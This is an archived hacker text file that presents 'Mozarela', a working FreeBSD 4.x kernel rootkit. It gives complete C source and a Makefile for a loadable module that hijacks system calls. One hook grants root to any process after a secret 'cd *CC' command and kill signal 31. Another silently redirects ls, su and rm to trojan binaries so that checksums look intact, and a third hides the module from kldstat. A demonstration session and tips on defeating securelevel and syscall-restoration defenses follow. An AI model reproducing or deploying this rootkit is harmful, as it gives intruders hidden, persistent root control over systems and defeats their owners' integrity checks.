TUCoPS :: BSD :: mozarela.txt

Mozarela Kernel Trojan for BSD

[Mozarela Kernal Trojan]=================================================[arkmp]


-- M O Z A R E L A   K E R N E L   T R O J A N --
-- for FreeBSD 4.x                             --

hi, other info about kernel loadable under freebsd can be found at
http://www.thehackerschoice.com on the Pragmatic's tutorial.

Usually we see linux rootkit placed on kernel module, but for freebsd 4.x
isn't ever coded nothing.

This code (after the code you may find some explanation) is a simple
freebsd
rootkit named "mozarela" with some functions.

------------------------------------------------- cut here -----------
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/syscall.h>
#include <sys/sysent.h>
#include <sys/sysproto.h>
#include <sys/linker.h>
#include <sys/systm.h>

/*
 * $mozarela coded 26/01/2001 - some parts of code and ideas are from
 * vecna@s0ftpj.org and him "spapem" (anti securelevel project)
 * http://www.s0ftpj.org some info are from "Attacking FreeBSD with kernel
 * modules" by Pragmatic (THC) http://www.thehackerschoice.com
 */

#define MOD_NAME        "mozarela.ko"

struct couple
        {
        char oldexec[32];
        char newexec[32];
        };

static int super_power, mozarela_warn;

static void check_dirname(struct proc *, char *, int);

static int
mozarela_chdir(struct proc *p, struct chdir_args *uap)
        {
        check_dirname(p, uap->path, strlen(uap->path));

        return chdir(p, uap);
        }

static int
mozarela_kill(struct proc *p, struct kill_args *uap)
        {
        if(super_power && uap->signum == 31)
                {
                struct proc *magic;

                if(!(magic =pfind(uap->pid)))
                        return ESRCH;
                else
                        {
                        magic->p_cred->pc_ucred->cr_uid =0;
                        magic->p_cred->p_ruid =0;
                        magic->p_cred->p_svuid =0;
                        magic->p_cred->p_rgid =0;
                        magic->p_cred->p_svuid =0;
                        super_power =0;
                        return(0);
                        }
                }
        else
                return kill(p, uap);
        }

static int
mozarela_execve(struct proc *p, struct execve_args *uap)
        {
        if(uap->fname !=NULL)
                {
                static struct couple execred[3] =
                        {
                        { "/bin/ls","/dev/a" },
                        { "/bin/su","/dev/b" },
                        { "/bin/rm","/dev/c" }
        /*
         * READ READ READ READ article before ANY CHANGE - if you put
         * the second name bigger than first you may cause kernel panic
         */
                        };
                int size =sizeof(execred) / sizeof(struct couple);

                while(size >= 0)
                        {
                        if(!strcmp(execred[--size].oldexec, uap->fname))
                                {
                                memcpy(uap->fname, &execred[size].newexec,
                                        sizeof(execred[size].newexec));

uap->fname[sizeof(execred[size].newexec)+1]=0;
                                }
                        }
                }

        return execve(p, uap);
        }

static int
mozarela_kldstat(struct proc *p, struct kldstat_args *uap)
        {
        int ret = kldstat(p, uap);

        if(!ret && uap->stat->name !=NULL)
                if(!strcmp(uap->stat->name, MOD_NAME))
                        mozarela_warn =p->p_pid;

        return ret;
        }

static int
mozarela_write(struct proc *p, struct write_args *uap)
        {
        if(mozarela_warn && mozarela_warn == p->p_pid)
                mozarela_warn =uap->nbyte =0;

        return write(p, uap);
        }

static struct sysent mozarela[5] =
        {
        { 1, (sy_call_t *) mozarela_chdir   },
        { 2, (sy_call_t *) mozarela_kill    },
        { 3, (sy_call_t *) mozarela_execve  },
        { 3, (sy_call_t *) mozarela_write   },
        { 2, (sy_call_t *) mozarela_kldstat }
        };

static int init_module(module_t mod, int cmd, void *arg)
        {
        int ret = 0;
        switch (cmd)
                {
                case MOD_LOAD:
                        sysent[SYS_chdir] =mozarela[0];
                        sysent[SYS_kill] =mozarela[1];
                        sysent[SYS_execve] =mozarela[2];
                        sysent[SYS_write] =mozarela[3];
                        sysent[SYS_kldstat] =mozarela[4];
                        uprintf("mozarela loadated\n");
                        break;
                case MOD_UNLOAD:
                        sysent[SYS_chdir].sy_call =(sy_call_t *)chdir;
                        sysent[SYS_kill].sy_call =(sy_call_t *)kill;
                        sysent[SYS_execve].sy_call =(sy_call_t *)execve;
                        sysent[SYS_write].sy_call =(sy_call_t *)write;
                        sysent[SYS_kldstat].sy_call =(sy_call_t *)kldstat;
                        break;
                default:
                        ret = EINVAL;
                        break;
                }
        return(ret);
        }

static struct moduledata mozarela_moddata =
        {
        "mozarela",
        init_module,
        NULL
        };

DECLARE_MODULE(syscall, mozarela_moddata, SI_SUB_DRIVERS,
SI_ORDER_MIDDLE);

static void check_dirname(struct proc *p, char *dir, int len)
        {
        if(len != 3)
                return;
        /*
         * "cd \*CC" can activate kill trojan
         */
        if(dir[0] == '*' && dir[1] == 'C' && dir[2] == 'C')
                super_power++;
        }
------------------------------------------------- cut here -----------

on this code we can find redirection of this system call:

chdir
kill
execve
write
kldstat


sometime chdir is used for change working directory, kill for send signal
to a process, execve for execute executable file, write for any writing
procedure (file socket standard output ...) kldstat to see  started
module.

this kld have this special abilities:
1) change uid/gid/euid/egid to root to specificated process.
2) make exec redirection, you may put some troian under
/usr/share/man9/CVS/
   or other directory and redir execution ... example ... if you want
   execute your login troian usually copy your troian over /bin/login, but
   a checksum checker can discover it (because the md5sum of file is been
   changed) with this system you may put new binary and execute this also
   keeping original binary file :)
3) make hiding self.

other implementation if think that are superflue, because with execve
redir
you may truly make anything... if you want hide your files i can
code redirection of getdirentries(2) or getdents(2) but is more easy and
lower dangerous put you ls trojan and redir execution, some for login, w,
netstat and others, on /usr/src/ you may find all freebsd source is very
simple change it for various pourpose :)

-- L I T T L E   K L D   I N F O --

The kld can modify ANY block of kernel, btw sometimes kld redir syscall or
cdevsw functions, or other simple pointer to function on linked file.
If you want make an idea with ALL syscall that you can redir, you can see
/usr/src/sys/sys/syscall.h, you can search how system call is used whit
/usr/share/man/man2/* man pages and with utility ktrace and kdump you
may find how syscall is used under program (if you don't want grep on the
code or if code use a wrapper) with
# ktrace ./code args args
# kdump | more
and read all system call used during execution.

i don't explain internals of coding at kernel space under freebsd, but any
system call can be redirect as function pointer, as argument any system
call
take:

function_name(struct proc *, struct [system_call_name]_args *);

on [system_call_name]_args you may find the argument passed from
userspace...
eg. kill(2) have prototipe as: kill(int, int); kill_args struct is a
struct
with 2 int declared inside.

usually for find the original code I use
grep [system_call_name]_args /usr/src/sys/kern/*.c

this info can help you on the comprension of kld functions, you may find
on
the kernel source any other question, if you want hack this simple kld
only
two or three houres to hack can resolve your problem, if you wannabe a
kernel
hacker, i suggest to subscribe at freebsd-hackers@FreeBSD.ORG with
majordomo@freebsd.org, read any kernel papers on www.freebsdzine.org
(GREAT! :)
and read a lots of kernel code :)

-- H O W   U S E   M O Z A R E L A --
# ls -l
lrwxr-xr-x  1 root  wheel     12 Jan 27 18:38 @ -> /usr/include
-rw-r--r--  1 root  wheel    157 Jan 26 16:24 Makefile
-rw-r--r--  1 arkmp arkmp   6214 Jan 29 15:26 arkmp.kv11
-rw-r--r--  1 root  wheel   4447 Jan 27 21:32 mozarela.c
-rwxr-xr-x  1 root  wheel   4937 Jan 27 21:32 mozarela.ko
-rwxr-xr-x  1 root  wheel  24937 Jan 27 21:32 my_ls
# mkdir ARK
# mv my_ls ARK
# ln -s /dev/a /home/arkmp/keen/ARK/my_ls
# ls -l /dev/a
lrwxr-xr-x  1 root  wheel  13 Jan 22 01:50 /dev/a ->
/home/arkmp/keen/ARK/my_ls
# kldload ./mozarela.ko
mozarela loadated
# ls -l
lrwxr-xr-x  1 root  wheel     12 Jan 27 18:38 @ -> /usr/include
-rw-r--r--  1 root  wheel    157 Jan 26 16:24 Makefile
-rw-r--r--  1 arkmp arkmp   6214 Jan 29 15:26 arkmp.kv11
-rw-r--r--  1 root  wheel   4447 Jan 27 21:32 mozarela.c
-rwxr-xr-x  1 root  wheel   4937 Jan 27 21:32 mozarela.ko

(and ARK my dir isn't appears because my_ls trojan DON'T SHOW file/dir
with
ARK on name, and /bin/ls isn't modify, md5sum appears intact, but isn't
execute :)

# ps axu
[cut]
root     203  0.0  6.0  2092 1240  ??  Is    2:19PM   0:03.43 telnetd
arkmp    204  0.0  1.7   488  340  p0  Is    2:19PM   0:00.14 -csh (csh)
arkmp    251  0.0  6.6  1588 1368  p0  I+    3:08PM   0:04.73 vi
arkmp.kv11
root     296  0.0  6.3  2092 1312  ??  Ss    4:11PM   0:00.24 telnetd
arkmp    297  0.0  1.7   488  356  p1  Is    4:11PM   0:00.13 -csh (csh)
root     314  0.0  1.7   480  348  p1  S     4:17PM   0:00.11 _su (csh)
root       0  0.0  0.0     0    0  ??  DLs   2:01PM   0:00.01  (swapper)

# cd \*CC
*CC: No such file or directory.
# kill -31 251
# ps axu | grep vi
root     251  0.0  6.6  1588 1368  p0  I+    3:08PM   0:04.94 vi
arkmp.kv11
#

and my session has now uid/gid euid/egid 0 :)

why i use symbolic link ? because, for make more little kld my function
for
redire execve contains the follow code:

        static struct couple execred[3] =
                {
                { "/bin/ls","/dev/a" },
                { "/bin/su","/dev/b" },
                { "/bin/rm","/dev/c" }
                };
        int size =sizeof(execred) / sizeof(struct couple);

        while(size >= 0)
                {
                if(!strcmp(execred[--size].oldexec, uap->fname))
                        {
                        memcpy(uap->fname, &execred[size].newexec,
                                sizeof(execred[size].newexec));
                        uap->fname[sizeof(execred[size].newexec)+1]=0;
                        }
                }

you may see that if the second name is more bigger than first name, the
function:

memcpy(uap->fname, &execred[size].newexec, sizeof(execred[size].newexec));

can overflow uap->fname buffer.

put a symlink isn't a big problem with a trojan ls you may hide it on 3
seconds

the Makefile:
------------------------------------------------- cut here -----------
SRCS            = mozarela.c
KMOD            = mozarela
KO              = mozarela.ko
KLDMOD          = t
KERN            = /usr/src/sys/kern
.include <bsd.kmod.mk>
------------------------------------------------- cut here -----------


any kld could have a lots of implentation, i can't discute here, there are
a lots of example on the linux/freebsd/solaris kernel programming
tutorials
from THC group and a lots of example and study from s0ftpj group.

-- L A S T   W O R D  A B O U T  I N F I N I T E   W A R --

crackers create rootkit,
security man create md5sum
crackers create execve redirection
security man create securelevel and syscall ripristination

the securelevel maybe explained on various man pages on freebsd, syscall
ripristination is explained on paper of Pragmatic,
syscall ripristination IMHO can be fucked with monitoring of kldload() and
kldfind() for DROP any module loaded after mozarela or some other trojan
on the kernel (not on other linked file!) securelevel can be fucked with
a spapem packages coded by vecna (you may find info about on the README
file
on http://www.s0ftpj.org/tools/spapem.tar.gz)


that's all, for this time :)


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH